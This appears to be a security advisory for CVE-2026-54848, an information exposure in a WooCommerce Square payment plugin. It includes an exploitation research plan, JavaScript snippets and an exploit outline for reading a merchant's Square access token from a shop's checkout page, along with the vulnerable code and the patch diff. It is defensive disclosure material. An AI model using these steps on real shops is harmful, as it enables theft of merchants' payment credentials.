CVE-2026-54848

WC Shop Sync – Square Payment Gateway and Product Synchronization for WooCommerce <= 4.7.3 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.7.4
Patched in
8d
Time to patch

Description

The WC Shop Sync – Square Payment Gateway and Product Synchronization for WooCommerce plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.7.3. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.7.3
PublishedJune 18, 2026
Last updatedJune 25, 2026
Affected pluginwoosquare

What Changed in the Fix

Changes introduced in v4.7.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-54848 - WC Shop Sync Information Exposure ## 1. Vulnerability Summary The **WC Shop Sync** plugin for WordPress (versions <= 4.7.3) is vulnerable to **Sensitive Information Exposure**. The vulnerability arises because the plugin localizes sensitive Square API …

Show full research plan

Exploitation Research Plan: CVE-2026-54848 - WC Shop Sync Information Exposure

1. Vulnerability Summary

The WC Shop Sync plugin for WordPress (versions <= 4.7.3) is vulnerable to Sensitive Information Exposure. The vulnerability arises because the plugin localizes sensitive Square API credentials—specifically the access_token and location_id—into global JavaScript variables on the frontend. This makes the credentials accessible to any unauthenticated user visiting the site's checkout or product pages.

2. Attack Vector Analysis

  • Target Endpoint: Frontend pages where WooCommerce checkout or product scripts are loaded (e.g., /checkout/ or product pages).
  • Vulnerable Mechanism: The plugin uses wp_localize_script to pass configuration data from PHP to JavaScript. It incorrectly includes the Square Access Token in this data.
  • Authentication: None (Unauthenticated).
  • Preconditions:
    1. The "Square Terminal Pay" or "Square Payment Gateway" must be enabled.
    2. The plugin must be configured with a Square Access Token.
    3. The WooCommerce store must be set to a supported country/currency (e.g., US/USD).

3. Code Flow

  1. Initialization: The WooSquare_Payments class constructor (in class-woosquare-payments.php) initializes the payment gateways.
  2. Gateway Loading: The WooSquarePOS_Gateway class (in class-woosquarepos-gateway.php) is instantiated.
  3. Script Enqueuing: The constructor of WooSquarePOS_Gateway registers the hook add_action( 'wp_enqueue_scripts', array( $this, 'payment_scripts_terminalpay' ) );.
  4. Localization (Sink): In the payment_scripts_terminalpay method (inferred from JS usage), the plugin calls wp_localize_script to create the squaretpay_params and POSTerminal objects.
  5. Sensitive Data Inclusion: The PHP code retrieves the token via get_option( 'woo_square_access_token' . get_transient( 'is_sandbox' ) ) and includes it in the localized array.
  6. Exposure: The browser renders a <script> block containing the JSON-encoded token, which is then used by SquarePaymentsPOSPay.js (e.g., line 103: token: squaretpay_params.access_token).

4. Nonce Acquisition Strategy

This vulnerability is an Information Exposure that occurs before any AJAX requests are made. The goal is to read the data that would normally be used for authorized requests.

  • No Nonce Required: Accessing the global JS variables does not require a nonce.
  • Extraction Method:
    1. Navigate to the /checkout/ page.
    2. Use browser_eval to extract the sensitive variables from the global window object.
    3. Variable Names:
      • window.squaretpay_params (contains access_token, location_id)
      • window.POSTerminal (contains access_token, location_id)

5. Exploitation Strategy

Step 1: Discover Exposed Variables

Access the frontend as an unauthenticated user and inspect the JavaScript environment.

Request:

GET /checkout/ HTTP/1.1
Host: localhost

Action (using browser_eval):

// Check for both potential localized objects
const leakedData = {
    squaretpay: window.squaretpay_params,
    pos: window.POSTerminal
};
return leakedData;

Step 2: Extract Credentials

If the objects exist, extract the access_token.

Action:

return window.squaretpay_params?.access_token || "Token Not Found";

6. Test Data Setup

To trigger the exposure, the environment must be configured to load the gateway scripts:

  1. Configure WooCommerce:
    • Set Store Address to United States (US).
    • Set Currency to US Dollars ($).
  2. Configure Plugin:
    • Set a dummy Square Access Token: wp option update woo_square_access_token "sq0atp-TEST_LEAKED_TOKEN_12345".
    • Set a dummy Location ID: wp option update woo_square_location_id "LC_987654321".
    • Enable the gateway: Update the option woocommerce_square_terminal_pay_settings to have 'enabled' => 'yes'.
  3. Ensure Script Loading:
    • Add a product to the cart so the checkout page is accessible.
    • wp post create --post_type=product --post_title="Test Product" --post_status=publish

7. Expected Results

A successful exploit will return the plain-text Square Access Token and Location ID.

Example Extracted Data:

{
  "access_token": "sq0atp-TEST_LEAKED_TOKEN_12345",
  "location_id": "LC_987654321",
  "currency_code": "USD"
}

8. Verification Steps

After performing the HTTP/Browser-based extraction, verify that the extracted token matches the value in the database using WP-CLI:

# Verify the token matches the value we found in JS
wp option get woo_square_access_token

9. Alternative Approaches

If the checkout page requires items in the cart to load properly, an attacker can look for the same leak on the Product Page if "Express Checkout" is enabled.

Logic Check:
In class-woosquare-payments.php, the add_google_pay_button_to_product_page hook is added if express_checkout_enabled is 'yes'. This often enqueues the same payment scripts, leaking the token on individual product pages.

Action:

  1. Enable Express Checkout in plugin settings.
  2. Navigate to /product/test-product/.
  3. Check window.squaretpay_params again.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WC Shop Sync plugin for WordPress incorrectly exposes sensitive Square API credentials, including the Access Token and Location ID, by localizing them into global JavaScript variables on the frontend. This allows unauthenticated attackers to steal these credentials by simply visiting the site's checkout or product pages and inspecting the JavaScript environment.

Vulnerable Code

// admin/modules/square-payments/class-woosquarepos-gateway.php line 294 (payment_scripts_terminalpay method)
$access_token                = get_option( 'woo_square_access_token' . get_transient( 'is_sandbox' ) );
$location_id                 = get_option( 'woo_square_location_id' . get_transient( 'is_sandbox' ) );

// ... line 324
wp_localize_script(
    'squaretpay-js',
    'squaretpay_params',
    array(
        'ajax_url'         => admin_url( 'admin-ajax.php' ),
        'currency_code'    => $currency_cod,
        'country_code'     => $country_code,
        'nonce'            => wp_create_nonce( 'squaretpay_params' ),
        'access_token'     => $access_token,
        'location_id'      => $location_id,
        // ...
    )
);

---

// admin/modules/square-payments/class-woosquare-payments.php line 435
public function funct_terminal_pay_process_checkout() {
    // ... nonce verification
    if ( ! isset( $_GET['token'] ) ) {
        $token   = sanitize_text_field( wp_unslash( $_GET['token'] ) );
        $headers = array(
            'Accept'        => 'application/json',
            'Authorization' => 'Bearer ' . $token,

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.3/admin/modules/square-payments/class-woosquare-payments.php /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.4/admin/modules/square-payments/class-woosquare-payments.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.3/admin/modules/square-payments/class-woosquare-payments.php	2026-05-04 09:47:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.4/admin/modules/square-payments/class-woosquare-payments.php	2026-05-22 11:22:46.000000000 +0000
@@ -422,9 +422,7 @@
 	 * Processes the checkout for a terminal payment using Square's API.
 	 *
 	 * This function retrieves the status of a terminal checkout using Square's API
-	 * and returns the result in JSON format. It uses the token provided in the GET
-	 * parameters for authorization and fetches the checkout ID from the WordPress
-	 * options.
+	 * and returns the result in JSON format. Uses the stored merchant token server-side only.
 	 *
 	 * @return void
 	 */
@@ -432,39 +430,36 @@
 		if ( ! isset( $_GET['square_pay_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['square_pay_nonce'] ) ), 'square-pay-nonce' ) ) {
 			wp_die( esc_html( __( 'Cheatin&#8217; huh?', 'woosquare-square' ) ) );
 		}
-		if ( ! isset( $_GET['token'] ) ) {
-			$token   = sanitize_text_field( wp_unslash( $_GET['token'] ) );
-			$headers = array(
-				'Accept'        => 'application/json',
-				'Authorization' => 'Bearer ' . $token,
-				'Content-Type'  => 'application/json',
-				'Cache-Control' => 'no-cache',
-			);
+		$token   = get_option( 'woo_square_access_token' . get_transient( 'is_sandbox' ) );
+		$headers = array(
+			'Accept'        => 'application/json',
+			'Authorization' => 'Bearer ' . $token,
+			'Content-Type'  => 'application/json',
+			'Cache-Control' => 'no-cache',
+		);
 
-			$checkout_id = get_option( 'terminal_checkout_id' );
-			$url         = 'https://connect.squareup' . get_transient( 'is_sandbox' ) . '.com/v2/terminals/checkouts/' . $checkout_id;
+		$checkout_id = get_option( 'terminal_checkout_id' );
+		$url         = 'https://connect.squareup' . get_transient( 'is_sandbox' ) . '.com/v2/terminals/checkouts/' . $checkout_id;
 
-			$result = json_decode(
-				wp_remote_retrieve_body(
-					wp_remote_get(
-						$url,
-						array(
-							'method'      => 'GET',
-							'headers'     => $headers,
-							'httpversion' => '1.0',
-							'sslverify'   => false,
-						)
+		$result = json_decode(
+			wp_remote_retrieve_body(
+				wp_remote_get(
+					$url,
+					array(
+						'method'      => 'GET',
+						'headers'     => $headers,
+						'httpversion' => '1.0',
+						'sslverify'   => false,
 					)
 				)
-			);
-			echo wp_json_encode(
-				array(
-					'result'      => 'Result_Status',
-					'result_info' => $result,
-				)
-			);
-
-		}
+		);
+		echo wp_json_encode(
+			array(
+				'result'      => 'Result_Status',
+				'result_info' => $result,
+			)
+		);
 
 		wp_die();
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.3/admin/modules/square-payments/class-woosquarepos-gateway.php /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.4/admin/modules/square-payments/class-woosquarepos-gateway.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.3/admin/modules/square-payments/class-woosquarepos-gateway.php	2026-05-04 09:47:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woosquare/4.7.4/admin/modules/square-payments/class-woosquarepos-gateway.php	2026-05-22 11:22:46.000000000 +0000
@@ -328,7 +327,6 @@
 				'currency_code'    => $currency_cod,
 				'country_code'     => $country_code,
 				'nonce'            => wp_create_nonce( 'squaretpay_params' ),
-				'access_token'     => $access_token,
 				'location_id'      => $location_id,
 				'sandbox'          => get_transient( 'is_sandbox' ),
 				'square_pay_nonce' => wp_create_nonce( 'square-pay-nonce' ),
@@ -363,7 +360,6 @@
 			array(
 				'ajax_url'      => admin_url( 'admin-ajax.php' ),
 				'nonce'         => wp_create_nonce( 'POSTerminal' ),
-				'access_token'  => $access_token,
 				'currency_code' => $currency_cod,
 				'currency_sym'  => get_woocommerce_currency_symbol(),
 				'country_code'  => $country_code,

Exploit Outline

1. Navigate to the target site's WooCommerce checkout page (/checkout/) or any product page where Square payment scripts are loaded as an unauthenticated user. 2. Open the browser's developer tools and access the JavaScript console. 3. Type `window.squaretpay_params` or `window.POSTerminal` to view the localized configuration objects. 4. Extract the `access_token` and `location_id` values from the resulting JSON objects. 5. These credentials can then be used to make unauthorized requests directly to the Square API on behalf of the merchant.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.